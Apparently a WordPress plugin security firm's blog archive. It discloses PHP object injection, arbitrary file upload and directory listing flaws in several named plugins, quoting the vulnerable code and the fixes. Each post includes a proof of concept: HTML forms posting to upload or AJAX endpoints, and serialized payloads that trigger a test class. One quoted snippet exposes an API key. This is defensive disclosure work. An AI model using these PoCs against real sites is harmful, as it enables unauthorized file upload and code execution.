16 Feb

Our Proactive Monitoring Caught a PHP Object Injection Vulnerability in a Fairly Popular Plugin

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That again has lead to us catching a vulnerability in a fairly popular plugin, of a type that hackers are likely to exploit if they know about it. Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

In the plugin WP Support Plus Responsive Ticket System, which has 10,000+ active installations according to wordpress.org, as of  version 9.0.3, the value of cookies were passed through the unserialize() function, which could lead to PHP object injection. Two of the instances that occurred were in the function get_current_user_session() (in the file /includes/class-wpsp-functions.php):

1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
public function get_current_user_session(){
 
	global $current_user;
				$wpsp_user_session = array();
				if( is_user_logged_in() ){
						$wpsp_user_session = array(
								'type'  => 1,
								'name'  => $current_user->display_name,
								'email' => $current_user->user_email
						);
 
						if (isset($_COOKIE['wpsp_user_session'])){
			$wpsp_user_session_temp = unserialize(base64_decode($_COOKIE['wpsp_user_session']));
			if($wpsp_user_session_temp['email'] != $wpsp_user_session['email'] ){
				@setcookie("wpsp_user_session", base64_encode(serialize($wpsp_user_session)), 0, COOKIEPATH);
			}
		} else {
			@setcookie("wpsp_user_session", base64_encode(serialize($wpsp_user_session)), 0, COOKIEPATH);
		}
 
				} else if (isset($_COOKIE['wpsp_user_session'])) {
						$wpsp_user_session = unserialize(base64_decode($_COOKIE['wpsp_user_session']));

When not logged in, if the cookie “wpsp_user_session” exists it will be unserialized after being base64 decoded.

That function is called numerous times including in the function check_login() (in the file /includes/frontend/class-wpsp-frontend.php):

86
87
88
89
90
function check_login(){
 
		global $wpdb, $wpsupportplus, $current_user;
 
		$wpsp_user_session = $wpsupportplus->functions->get_current_user_session();

That in turns is called anytime WordPress is loaded due to it running during init():

22
add_action( 'init', array($this,'check_login') );

So by simply visiting any page on the website with a cookie set a value that causes PHP object injection this vulnerability could have been exploited.

After we notified the developer, they initially responded five days later that the vulnerability had been fixed in version 9.0.3, which had been released five days before we contacted them. Four days later they released version 9.0.4, which resolve the vulnerability by replacing the usage of unserialize() with json_decode() (and related usage of serialize() with json_encode()).

The Plugin Security Checker has flagged other possible issues in the plugin, so those using the plugin may want to have someone do a thorough review of the plugin’s security.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “wpsp_user_session” to “TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=” and then when you visit any page on the website the message “PHP object injection has occurred.” will be shown.

Timeline

  • February 7, 2018 – Developer notified.
  • February 12, 2018 – Developer responds that the vulnerability had been fixed in version 9.0.3 (which was released five days before we contacted the developer).
  • February 16, 2018 –  Version 9.0.4 released, which fixes vulnerability.
15 Feb

Our Proactive Monitoring Caught a PHP Object Injection Vulnerability in Swift Help Desk Support Software Ticketing System

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That again has lead to us catching a vulnerability of a type that hackers are likely to exploit if they know about it. Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

In the plugin Swift Help Desk Support Software Ticketing System (Help Desk & Knowledgebase Software) the value of a cookie is passed through the unserialize() function, which could lead to PHP object injection. That occurs in two shortcodes accessed functions in the plugin. One of them being swift_helpdesk_support_callback(), which is located in the file /sections/shd-shortcodes.php. Some ways into the function it checks if the cookie “sc_lead_scoring” exists and then unserializes its value:

164
165
if (isset($_COOKIE['sc_lead_scoring']) && !empty($_COOKIE['sc_lead_scoring'])) {
	$sc_lead_scoring_cookie = unserialize(stripslashes($_COOKIE['sc_lead_scoring']));

Even if the shortcodes that cause those functions to run are not used on the website, any one logged in to WordPress could access them, like they can shortcodes in general, through WordPress AJAX functionality and the vulnerability is also exploitable that way as well.

We notified the developer of the issue a week ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

The Plugin Security Checker has flagged other possible issues in the plugin, so those using the plugin may want to have someone do a thorough review of the plugin’s security.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “sc_lead_scoring” to “O:20:”php_object_injection”:0:{}” and then when you visit a page on the website using the “swift_helpdesk_support” shortcode the message “PHP object injection has occurred.” will be shown.

Timeline

  • February 8, 2017 – Developer notified.
15 Feb

Our Proactive Monitoring Caught an Authenticated PHP Object Injection Vulnerability in Autoship Cloud

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That sometimes leads to us catching a vulnerability of a more limited version of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated PHP object injection vulnerability we found in the plugin Autoship Cloud. This vulnerability could have allowed an attacker that had access to a WordPress account that has access to admin pages, which would normally be Subscriber level users and above, to exploit a PHP object injection vulnerability.

Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability occurred in the function autoship_get_messages(). That function passed the base64 decoded value of the cookie “autoship_messages” through the unserialize() function, which could lead to PHP object injection:

3
4
5
6
7
function autoship_get_messages() {
	if ( empty( $_COOKIE['autoship_messages'] ) ) {
		return array();
	}
	$messages = unserialize( base64_decode( $_COOKIE['autoship_messages'] ) );

One of the locations that function gets called is in the function autoship_print_messages():

44
45
46
47
48
49
function autoship_print_messages() {
	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
		return;
	}
 
	$messages = autoship_get_messages();

That function runs when admin notices are shown:

68
add_action( 'admin_notices', 'autoship_print_messages' );

After we notified the developer of the plugin they released version 1.0.14, which fixes the vulnerability. Though in a reminder that you can’t rely on changelogs to let you know if a new version of a plugin includes a security fix, the only changelog entry for that version is “Bug fixes.”. The only change made though was to fix the vulnerability. That was done by replacing the use of unserialize() with json_decode():

7
$messages = json_decode( base64_decode( $_COOKIE['autoship_messages'] ) );

and elsewhere in the same file, replacing related usage of serialize() with json_encode():

39
$messages_cookie = base64_encode( json_encode( $messages ) );

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “autoship_messages” to “TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=” and then when you visit an admin page on the website the message “PHP object injection has occurred.” will be shown.

Timeline

  • February 12, 2018 – Developer notified.
  • February 12, 2018 – Developer responds.
  • February 15, 2018 – Version 1.0.14  released, which fixes vulnerability.
14 Feb

A Recently Closed Plugin Contains a Vulnerability That Allows Anyone Logged in to WordPress to View Directory Listings

Today we had somebody contact us asking if we had any insight in to why the plugin WordPress Backup to Dropbox was removed from the Plugin Directory (after seeing one of yesterday’s posts). Our guess on that would be that it has to do with the plugin no longer working, but while doing a quick look over the plugin we did find a vulnerability in it that allows anyone logged in to WordPress to view a list of files and directories in a directory on the server they specify.

The plugin makes the function backup_to_dropbox_file_tree() accessible to anyone logged in to WordPress through WordPress’ AJAX functionality:

376
add_action('wp_ajax_file_tree', 'backup_to_dropbox_file_tree');

That function will load up the file /Views/wpb2d-file-tree.php:

155
156
157
158
159
function backup_to_dropbox_file_tree()
{
    include 'Views/wpb2d-file-tree.php';
    die();
}

That file will list the files and directories located in specified directory on the server (as specified by the POST input “dir”).

Proof of Concept

The following proof of concept will return a listing of the files and directories in the root directory of the WordPress install, when logged in to WordPress. The contents of the resulting are hidden using “display: none” styling, so you either need to remove that styling or view the page’s source to see the results.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=file_tree" method="POST">
<input type="hidden" name="dir" value="../" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
14 Feb

Our Proactive Monitoring Caught a PHP Object Injection Vulnerability Returning to a Fairly Popular Plugin

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That again has lead to us catching a vulnerability in a fairly popular plugin, of a type that hackers are likely to exploit if they know about it. In this case the vulnerability is much worse because it was previously fixed, so some hacker could still be trying to exploit it based on the previous instance of it. Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

Back in September we noticed that PHP object injection vulnerability had been fixed the plugin Welcart e-Commerce, which has 10,000+ active installations according to wordpress.org (who had discovered vulnerability that wasn’t disclosed). That had been fixed by replacing the usage of unserialze() with json_decode() in version 1.9.4. The relevant line had previously looked like this (in the file /classes/usceshop.class.php):

$values = isset($_COOKIE[$key]) ? unserialize(stripslashes($_COOKIE[$key])) : NULL;

And was replaced with this:

$values = isset($_COOKIE[$key]) ? json_decode(stripslashes($_COOKIE[$key]), true) : NULL;

Then in version 1.9.5 it got changed to:

$values = isset($_COOKIE[$key]) ? usces_unserialize(stripslashes($_COOKIE[$key])) : NULL;

That function usces_unserialize() used there is as follows:

2498
2499
2500
2501
2502
2503
2504
2505
2506
function usces_unserialize( $data ) {
	if( is_serialized( $data ) ) {
		return @unserialize( $data );
	}
	if( is_array( $data ) ) {
		return $data;
	}
	return @json_decode( $data, true );
}

With that, if the value passed to the function is serialized then the value is unserialized. Since PHP object injection involves untrusted serialized data being unserialized, that code allows for PHP object injection again. This can easily be exploited because that code runs when visiting any frontend page of the website.

Since the vulnerability could be already be being exploited due to the previous instance of it, we are disclosing this without giving the developer a chance to fix it first, since we have a responsibility to warn our customers as soon as possible (and we don’t want to leave others without the ability to know about this and we don’t want to allow hackers to use our service to become aware of otherwise undisclosed vulnerabilities).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “usces_cookie” to “O:20:”php_object_injection”:0:{}” and then when you visit any front end page the message “PHP object injection has occurred.” will be shown.

Timeline

  • February 14, 2018 – Developer notified.
13 Feb

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in Church Admin

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That sometimes leads to us catching a vulnerability of a more limited version of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated arbitrary file upload vulnerability we found in the plugin Church Admin. This vulnerability could have allowed someone that has access to a WordPress account that can access the admin area (which would normally be any user, Subscriber-level and above) to upload a malicious file to the website, which could they use to take additional actions on with the website.

Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability occurred in the function church_admin_bible_reading_plan(), which is located in the file /app/app-admin.php and would save any type of file sent with a request to the current year/month’s directory inside of the /wp-content/upload/ directory:

function church_admin_bible_reading_plan()
{
 global $wpdb;
 echo'<h2 class="plan-toggle">'.__('Which Bible Reading plan? (Click to toggle)','church-admin').'</h2>';
 
 echo'<div class="bible-plans" style="display:none">';
 echo '<p>'.__('The Bible reading post type for a particular day takes priority over any plan loaded below','church-admin').'</p>';
 if(!empty($_POST['save_csv']))
 {
 if(!empty($_FILES) && $_FILES['file']['error'] == 0)
 {
 $wpdb->query('TRUNCATE TABLE '.CA_BRP_TBL);
 $plan=stripslashes($_POST['reading_plan_name']);
 update_option('church_admin_brp',$plan);
 $filename = $_FILES['file']['name'];
 $upload_dir = wp_upload_dir();
 $filedest = $upload_dir['path'] . '/' . $filename;
 if(move_uploaded_file($_FILES['file']['tmp_name'], $filedest))echo '<p>'.__('File Uploaded and saved','church-admin').'</p>';

That function gets called in the function church_admin_app() if the website has a license number for the companion app set up:

function church_admin_app()
{

	//initialise
	global $wpdb;
	echo'>h1<Church Admin App Admin>/h1<';
	
	
	$licence=get_option('church_admin_app_licence');
	
	if(empty($licence)||$licence!=md5('licence'.site_url()))
	{
	
		//no licence yet
		echo '>div id="iphone" class="alignleft"<>iframe src="'.plugins_url('/app/demo/index.html',dirname(__FILE__) ).'" width=475 height=845 class="demo-app"<>/iframe<>/div<';
		
		if(!empty($_POST['app-licence']) && $_POST['app-licence']==md5('licence'.site_url()))
		{
			update_option('church_admin_app_licence',md5('licence'.site_url()));
			update_option("church_admin_app_id",intval($_POST['app-id']));
			update_option("church_admin_app_home",">h2<Welcome>/h2<");
			update_option("church_admin_app_giving",">h2<Giving>/h2<");
			update_option("church_admin_app_groups",">h2<Small groups>/h2<");
update_option("church_admin_app_api_key","AAAA50JK2is:APA91bE-SZWcUncaSxdbevuGOdochq7zS2fgJabNBAmbqBnmR8Lq4BoaQwG_p-JM2Ftx5rAKInlnG5RmxhWW_LcOPW9A9cQqpg7tUA1GFi1-NvX2q5YbFqnM9ZmV5xuE0PfeRWFUL1d4Te4zwzpu5qglwzZpg_JWzg");
	
		}
		
		echo'>h3<'.__('If you have subscribed, please fill in this form to activate','church-admin').'>/h3<>form action="" method="post"<>table<>tr<>th scope="row"<'.__('App Licence Key','church-admin').'>/th<>td<>input type="text" name="app-licence"/<>/td<>/tr<>tr<>th scope="row"<App ID>/th<>td<>input type="text" name="app-id"/<>/td<>/tr<>tr<>td colspacing=2<>input type="submit" value="'.__('Activate','church-admin').'"/<>/td<>/tr<>/table<>/form<';
		
		church_admin_app_signup();
		
		echo'>h3<'.__('Try out the app...','church-admin').'>/h3<>p<
>a href="https://itunes.apple.com/gb/app/wp-church/id1179763413?mt=8"<'.__('Install app on your iPhone now','church-admin').'>/a< and >a href="https://play.google.com/store/apps/details?id=com.churchadminplugin.wpchurch"<Android>/a<>/p<';

	}
	else
	{
		
		church_admin_app_content();
		church_admin_app_member_types();
		church_admin_bible_reading_plan();

An attacker can set that up that license number from the page shown if that hasn’t already been set up. They don’t even need to sign up for the service, as the value is just the md5 value of the website’s site_url:

11
if(empty($licence)||$licence!=md5('licence'.site_url()))

The function church_admin_app() is in turn accessible from the function church_admin_main() (located in the file /index.php):

914
case 'app': require_once(plugin_dir_path(__FILE__).'app/app-admin.php');church_admin_app();break;

Which is accessible to anyone with the “read” capability:

789
add_menu_page('church_admin:Administration', __('Church Admin','church-admin'),  'read', 'church_admin/index.php', 'church_admin_main');

We notified the plugin’s developer of the issue yesterday and they made changes that while not ideal, do fix the vulnerability. The function church_admin_bible_reading_plan() has now been restricted to those with the ability to “manage_options” (it seems that would be better suited to be a restriction placed in the function church_admin_app() though), which would normally limit it to only Administrators:

678
679
680
681
682
683
function church_admin_bible_reading_plan()
{
	global $wpdb;
	$current_user = wp_get_current_user();
 if(is_user_logged_in()&& current_user_can('manage_options'))
 {

In that function there has also been a nonce check added, which would prevent cross-site request forgery (CSRF), and a check of what type of files has been uploaded:

691
692
693
694
695
if(!empty($_POST['save_csv'])&& check_admin_referer( 'bible_upload', 'nonce' ) )
{
	$mimes = array('application/vnd.ms-excel','text/plain','text/csv','text/tsv');
	if(!empty($_FILES) && $_FILES['file']['error'] == 0 && in_array($_FILES['file']['type'],$mimes))
	{

The [‘type’] attribute of $_FILES is user specified so it shouldn’t be used a security check, but in this case, properly limiting the upload to Administrators and protecting against CSRF is enough protection.

There are some other upload functions in the plugin that could use a close check to make sure they are properly secured (something we mentioned to the developer).

Proof of Concept

The following proof of concept will upload the selected file to the current year/month’s directory inside of the /wp-content/upload/ directory, when logged in to WordPress and the license number set for the companion app set.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=church_admin%2Findex.php&action=app" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="save_csv" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 12, 2018 – Developer notified.
  • February 12, 2018 – Developer responds.
  • February 12, 2018 – Version 1.2540 release, which fixes vulnerability.
12 Feb

Our Proactive Monitoring Caught a Cross-site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Flexible Captcha

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That sometimes leads to us catching a vulnerability of a more limited variant of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the cross-site request forgery (CSRF)/arbitrary file upload vulnerability we found in the plugin Flexible Captcha. This vulnerability could have allowed an attacker that could get a logged in Administrator to visit a URL the attacker controls, to upload a malicious file to the website, which the hacker could then use to take additional actions on their own with the website.

Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability involves the function handle_font_upload(), located in the file /lib/FlexibleCaptcha.class.php, which previously would save any type of file sent with a request to the directory /wp-content/uploads/fc-fonts/:

214
215
function handle_font_upload() {
	if (!file_exists($this->;fontDirectory . $_FILES['FC_font_upload']['name']) &&; move_uploaded_file( $_FILES['FC_font_upload']['tmp_name'], $this->fontDirectory . $_FILES['FC_font_upload']['name'] )) {

Since it is only intended to handle font uploads there should have been a limit on what types of files could be uploaded.

The threat of that would largely depend on who could access that. That function is called in the function settings_page() if a POST input “submit_font_file” exists:

205
206
207
function settings_page() {
	if (array_key_exists('submit_font_file', $_POST)) {
		$this->handle_font_upload();

That function in turn is called when accessing the plugin’s settings page in the admin area of WordPress:

150
$plugin_page=add_submenu_page('options-general.php', 'Flexible Captcha Settings', 'Flexible Captcha', 'activate_plugins', 'Flexible_Captcha', array($this, 'settings_page'));

That page is only accessible by those logged in to WordPress that have the “activate_plugins” capability, which would normally be Administrators. Administrators normally have the ability to upload any type of file they want, so there being able to do that through this plugin isn’t a vulnerability on its own. The vulnerability here comes from a lack of a check for a valid nonce when processing the upload, which means an attacker could cause an Administrator to send a request to upload a file without them intending it.

Several hours after we contacted the developer they released version 3.4, which fixes this by adding a nonce check and doing a couple of checks on what type of file is being uploaded:

214
215
216
217
function handle_font_upload() {
	if (wp_verify_nonce(sanitize_text_field($_POST['FC_nonce']), plugin_basename(__FILE__))) {
		$fontMime = array('application/x-font-ttf', 'application/vnd.ms-opentype');
		if (preg_match("/(.otf|.ttf)$/", $_FILES['FC_font_upload']['name']) && in_array(mime_content_type($_FILES['FC_font_upload']['tmp_name']), $fontMime) && !file_exists($this->fontDirectory . $_FILES['FC_font_upload']['name']) && move_uploaded_file( $_FILES['FC_font_upload']['tmp_name'], $this->fontDirectory . $_FILES['FC_font_upload']['name'] )) {

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/fc-fonts/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=Flexible_Captcha" method="POST" enctype="multipart/form-data">
<input type="file" name="FC_font_upload" />
<input type="submit" name="submit_font_file" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 9, 2018 – Developer notified.
  • February 9, 2018 – Version 3.4 released, which fixes vulnerability.
  • February 9, 2018 – Developer responds.
12 Feb

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in cformsII

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

Recently we were looking into another possible security issue that had been claimed to have been fixed in the plugins To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for half off (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

05 Feb

Our Plugin Security Checker Would Have Warned You About This Arbitrary File Upload Vulnerability in a WordPress Plugin

One of things that we do to make sure that we provide our customers with the best data on vulnerabilities in WordPress plugins is to monitor the WordPress Support Forum for threads that are related to those. Through that we recently ran across a review of the plugin user files that made this claim:

Even the simplest attack as SQL Injection can be done with this.

We then went to look into that claim. While it certainly looks like that is the case, before we got far enough in looking into that to test out what look to be the exploitable SQL injection vulnerabilities in the plugin we noticed a number of more serious issues that possibly existed in the plugin as well. We then turned our focus to the most serious of those, the possibility of an arbitrary file upload vulnerability in the plugin.

Even if you didn’t have our level of expertise you could have spotted the possibility of that issue in this plugin, as that was one of three issues our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own) listed as possibly existing in the plugin at the time we were checking over it:

  • The plugin may be allowing arbitrary files to be uploaded, which could allow for malicious files to be uploaded.
  • User input is being directly output, which could lead to reflected cross-site scripting (XSS).
  • User input looks to be being output without being validated, sanitized, or escaped, which could lead to reflected cross-site scripting (XSS).

Subsequently, we improved our SQL injection checks in that to catch some of the possible instances of that in this plugin and added a check based on another possible issue in the plugin.

Looking further into this we confirmed that there is in fact an arbitrary file upload vulnerability in the plugin.

The plugin registers the function uploadHelper() to run when the <head> element of  frontend pages of WordPress is being generated:

21
add_action('wp_head','uploadHelper');

The code in that function up to the point when the arbitrary file upload vulnerability occurs is as follows:

1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
function uploadHelper(){
 
 
 
if (isset($_POST['addfiles'])){	
 
 
 
                  global $wpdb;
 
		         $upload_dir = wp_upload_dir();
 
                 $current_user = wp_get_current_user();
 
                $subDir = $current_user->ID;
 
 
 
                if (!empty($_POST['curr_cat'])){
 
                $SetCat=$_POST['curr_cat'];
 
                }else{
 
                $SetCat=$_POST['widge_cat'];
 
                }
 
 
 
 
 
					$usFolder = file_exists ( $upload_dir['basedir'].'/file_uploads/'.$subDir); 
 
 
 
					if (!$usFolder) {
 
					mkdir ( $upload_dir['basedir'].'/file_uploads/'. $subDir, 0777 , true );
 
					chmod($upload_dir['basedir'].'/file_uploads/'. $subDir,0777);
 
					}
 
 
 
 
 
					$target_path = $upload_dir['basedir'].'/file_uploads/'. $subDir.'/';
 
 
 
					$target_path = $target_path . basename($_FILES['uploadedfile']['name']); 
 
 
 
					if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

If a request is sent to a frontend page of WordPress that contains the POST inputs “addfiles” and “widge_cat” then a file sent along with the request will be uploaded.

The plugin doesn’t appear to be supported anymore as it hasn’t been updated in 5 years.

The plugin appears to contain quite a few other vulnerabilities based on what else was picked up by our Plugin Security Checker and what we saw in the code before we focused on the arbitrary file upload vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/file_uploads/0/ when not logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]" method="POST" enctype="multipart/form-data">
<input type="hidden" name="addfiles" />
<input type="hidden" name="widge_cat" />
<input type="file" name="uploadedfile" />
<input type="submit" value="Submit" />
</form>
</body>
29 Jan

PHP Object Injection Vulnerability in WordPress Forms

Over at our main business we clean up a lot of hacked websites. Based on how often we are brought in to re-clean websites after another company (including many well known names) has failed to even attempt to properly clean things up, our service in general is much better than many other options out there. But when cleaning up hacked WordPress websites we throw in a couple of extras related to this service. The first being a free lifetime subscription to this service and the second being that we check over all the installed plugins using same checks we do as part of our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities.

Recently, While looking into a possible arbitrary file upload vulnerability flagged in the plugin WordPress Forms we noticed what looked to be a PHP object injection vulnerability in the same function in the plugin and a quick test using our plugin for testing for those confirmed it was in fact exploitable.

The plugin can process form submissions through WordPress’ AJAX functionality:

274
275
add_action( "wp_ajax_wp_forms_submit_form", array( &$this, "process_submition" ) );
add_action( "wp_ajax_nopriv_wp_forms_submit_form", array( &$this, "process_submition" ) );

The function that handles that, process_submition(), passes the GET or POST input “field_keys” through the function unserialize(), which permits PHP object injection:

334
$field_keys = unserialize( str_replace('\\', '', html_entity_decode($_REQUEST['field_keys'])) );

While this type of vulnerability is fairly likely to be exploited if hackers are aware of it, in the case of the website we were cleaning, the plugin was deactivated, so the vulnerability could not have been exploited.

That plugin was removed from the Plugin Directory by the developer five years ago, but the plugin is still installed on 500+ websites.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[form ID]” with the ID for one of the forms created by the plugin.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wp_forms_submit_form" />
<input type="hidden" name="post" value="[form ID]" />
<input type="hidden" name="field_keys" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>